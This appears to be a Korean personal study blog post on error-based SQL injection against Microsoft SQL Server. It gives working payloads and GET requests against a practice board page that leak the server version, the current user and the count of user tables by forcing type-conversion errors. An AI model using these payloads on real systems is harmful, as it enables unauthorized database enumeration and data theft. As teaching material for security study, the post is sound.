d0r1

error based 테이블 개수 출력하기 본문

이것저것

error based 테이블 개수 출력하기

d0r1 2024. 3. 19. 10:20

MSSQL 

error based 공격 핵심 개념

!작업에 실패한 데이터를 에러 메시지 내 포함!

묵시적, 명시적으로 형변환해서 에러 만들기

c = convert(int, “crehacktive”) → error !

1. 에러 기반 공격을 통해 기본 정보 목록화  (검색)

version : ' and 1=@@version— → 'Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) Sep 24 2019 13:48:23 Copyright (C) 2019 Microsoft Corporatio

db_name : ' and 1=system_user;-- → sa (현재 사용자)

' and 1=db_name();—

2. 에러 기반 공격을 통해 기본 정보 목록화  (게시글)

db_version : /board/mssql/view.php?idx=1+and+1=@@version--+

db_name : /board/mssql/view.php?idx=1+and+1=db_name()--+ 

3. 현재 데이터베이스 내 테이블 개수 파악

GET /board/mssql/view.php?idx=1+and+1=concat((select+count(*)+from+sys.objects+where+type='u'),'a')--+ 

GET /board/mssql/view.php?idx=1+and+1=convert(varchar,(select+count(*)+from+sys.objects+where+type='u'))%2B'a

 

 

조건 명시 경우, 1=( 조건 ) 으로 에러 발생 유도를 하는데,

만약, 개수의 경우에는 1=(int) 이기 때문에 에러가 발생하는 케이스가 아니다

 

그러므로, 1=(char) 으로 변형을 해주어야 하는데

이때 사용하는 방법이 위의 3번의 케이스이다

 

3-1) concat 함수 활용하기

concat("var1", "var2") 형식으로 var1 + var2를 수행할 수 있다.

그렇다고 1+1 concat한다고 해서 2가 되는 것은 아니다

 

3-2) 연결연산자 "+" 사용하기

정수형 + 문자열 -> 문자열으로 변환된다는 점을 사용하면

3+"A"를 통해, 3A (문자열) 리턴이 가능하다

 

이를 활용하여 error-based sqli 이 가능하다